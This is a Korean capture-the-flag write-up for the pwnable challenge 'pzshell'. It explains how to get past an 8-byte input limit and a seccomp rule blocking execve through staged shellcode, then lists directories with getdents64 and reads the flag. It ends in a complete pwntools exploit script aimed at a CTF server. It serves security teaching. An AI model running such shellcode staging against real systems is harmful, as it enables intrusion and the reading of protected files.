[Pwnable] pzshell
들어가며
이 문제는 ezshell
에서 한층 더 진화된 문제이다.
쉘코드 작성법에 대해서 한층 더 깊게 공부할 수 있었던 문제였다.
그리고, getdents
함수에 대해서도 알게 되었던 문제이다.
문제해석
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
void sandbox(void)
{
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL)
{
write(1, "seccomp error\n", 15);
exit(-1);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(clone), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(creat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
if (seccomp_load(ctx) < 0)
{
seccomp_release(ctx);
write(1, "seccomp error\n", 15);
exit(-2);
}
seccomp_release(ctx);
}
void Init(void)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(void)
{
char s[0x10];
char result[0x100] = "\x0F\x05\x48\x31\xED\x48\x31\xE4\x48\x31\xC0\x48\x31\xDB
\x48\x31\xC9\x48\x31\xF6\x48\x31\xFF\x4D\x31\xC0\x4D\x31
\xC9\x4D\x31\xD2\x4D\x31\xDB\x4D\x31\xE4\x4D\x31\xED\x4D
\x31\xF6\x4D\x31\xFF\x66\xbe\xf1\xde";
char filter[2] = {'\x0f', '\x05'};
Init();
read(0, s, 8);
for (int i = 0; i < 2; i ++)
{
if (strchr(s, filter[i]))
{
puts("filtering :)");
exit(1);
}
}
strcat(result, s);
sandbox();
(*(void (*)()) result + 2)();
}
문제는 ezshell
과 다를것이 별로 없지만, 입력크기가 8
로 줄어든 것과 sandbox()
함수가 추가되어, syscall
에서 execve
를 사용하지 못한다.
첫번째로, 입력크기가 8
로 줄어들었으니 그것을 우선 해결해야 한다.
두번째로, execve
를 사용하지 못하니 우리는 이 문제를 ORW(Open Read Write)
를 통하여 문제를 해결할 수 있다.
ORW
ORW
란, flag파일을 Open
으로 fd descriptor
를 받아온 후, Read
를 통하여 Writeable한 영역
에 파일의 내용을 받아온다.
마지막으로, Write
를 통해 stdout
으로 화면에 출력해주면 flag가 나온다.
풀이
우선, 문제에서 주어진 shellcode
를 확인해보자.
이전 문제와 동일하게 register
들의 값을 싹다 날려버린다. 하지만, 이전문제와 다른 점이 보인다.
바로, rdx
와 rsi
를 남겨놓는다는 점이다.
이때, rdx
는 문제에서 제공하는 shellcode
에서 syscall 다음 주소
를 가르키고 있었다.
그러므로, xchg instruction
을 통하여 값을 exchange
해보자.
총 3bytes
이다! 다음에 syscall
로 jmp
할 shellcode
가 5bytes
이므로 8bytes
를 넘지 않는다.
아마 출제자의 intending이 xchg
를 사용하는 것이 아닐까 싶다.
그렇다면, shellcode
를 작성해보자.
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
r = process("./pzshell")
#r = remote("ctf.j0n9hyun.xyz", 3038)
gdb.attach(r)
context.arch = 'amd64'
shellcode = ''
shellcode += asm("xchg rsi,rdx")
shellcode += "\xe9\xc5\xff\xff\xff"
print(len(shellcode))
r.send(shellcode)
shellcode = ''
shellcode += "\x90"*8
r.send(shellcode)
jmp instruction
에서 상대주소
계산법은 여기를 참고하길 바란다.
첫번째 send를 보내면, read(0, syscall다음 주소, 0xdef1)
이 될 것이다.
두번째 send를 보내면, syscall
다음부터 nop
이 들어가게 될 것이다.
정상적으로 jmp
를 하는 것을 볼 수 있다.
read
함수 역시 제대로 수행된 것을 볼 수 있다.
이제, ORW
를 할 차례이다.
pwntools
모듈에 shellcraft
라는 것을 이용하여 쉽게 작성해보았다.
shellcode = ''
shellcode += asm("mov rsp, qword ptr fs:[rbx]")
shellcode += asm(shellcraft.open("/home/attack/flag"))
shellcode += asm(shellcraft.read("rax", "rsp", 100))
shellcode += "\x90"*8
shellcode += asm(shellcraft.write(1, "rsp", 100))
rsp
에 ezshell
문제에서와 똑같이 fs:0x0
를 복사함으로써, writeable한 영역
을 만들어주었다.
read
함수의 fd
에 rax
를 넣어준 이유는 open
함수로 연 파일의 fd
가 rax(function return register)
이기 때문이다.
중간에 nop sled
는 read
와 write
사이에서 shellcode
가 꼬여서 넣어주었다.
파일 이름은 다른 문제들의 형식이 저런 형식이라서 한번 guessing을 해보았다.
일단, local
에서 제대로 읽어와 지는지 한번 봐보자.
잘 읽어와진다. 이제 remote
환경에서 잘 읽는지도 확인해보자.
읽어오지 못한다.
왜일까?
답은 "파일 이름이 달라서"
일 것이다.
파일 이름을 때려 맞출 수는 없으니, 우리는 getdents64
라는 함수를 이용하여 directory listing
을 시도해볼 것이다.
getdents64
int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
getdents64
함수는 open
함수로 directory
를 fd
로 지정한 후, 그 fd
를 통해서 dirp구조체 ptr
에 해당 directory
의 inode
, file type
, d_reclen
, d_off
, d_name
를 저장한다.
이때, d_name
이 파일명이 된다.
자세한 내용과 예시는 이곳에 정리가 되어있다.
그렇다면 위의 정보를 토대로 shellcode
를 구상해보자.
1. open("/home/")으로 /home/ directory를 fd에 저장한다.
2. getdents64(fd, rsp, 1024) 로 rsp에 directory의 내용을 저장한다.
3. write(1, rsp, 1024) 로 화면에 directory의 내용을 출력해준다.
성공적으로 출력되었다. /home/attack
까지는 맞았다.
이제 /home/attack
하위 directory에 어떤 파일이 flag파일
일지 한번 더 보내보자.
main은 아마 binary파일일 것이고, S3cr3t_F14g
가 우리가 찾는 flag파일
로 보인다.
그렇다면, 아까의 ORW
에서는 파일 이름이 맞지 않아, open
함수에서 rax
가 -1
이었을 것이다.
이제, 파일이름을 맞춰준 후, ORW
를 시도해보자.
Exploit.py
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#r = process("./pzshell")
r = remote("ctf.j0n9hyun.xyz", 3038)
#gdb.attach(r)
context.arch = 'amd64'
# Stage 1 : read(0, &(next_to_syscall), 0xdef1)
shellcode = ''
shellcode += asm("xchg rsi,rdx")
shellcode += "\xe9\xc5\xff\xff\xff"
#print(len(shellcode))
r.send(shellcode)
# Stage 2 : Directory listing
shellcode = ''
shellcode += asm("mov rsp, qword ptr fs:[rbx]")
shellcode += asm(shellcraft.open("/home/attack"))
shellcode += asm(shellcraft.getdents64("rax", "rsp", 1024))
shellcode += "\x90"*8
shellcode += asm(shellcraft.write(1, "rsp", 1024))
# Stage 3 : ORW
shellcode += asm(shellcraft.open("/home/attack/S3cr3t_F14g"))
shellcode += asm(shellcraft.read("rax", "rsp", 100))
shellcode += "\x90"*8
shellcode += asm(shellcraft.write(1, "rsp", 100))
r.send(shellcode)
r.recv() # Show as debugging mode
log.info("Flag: "+r.recvuntil('\n'))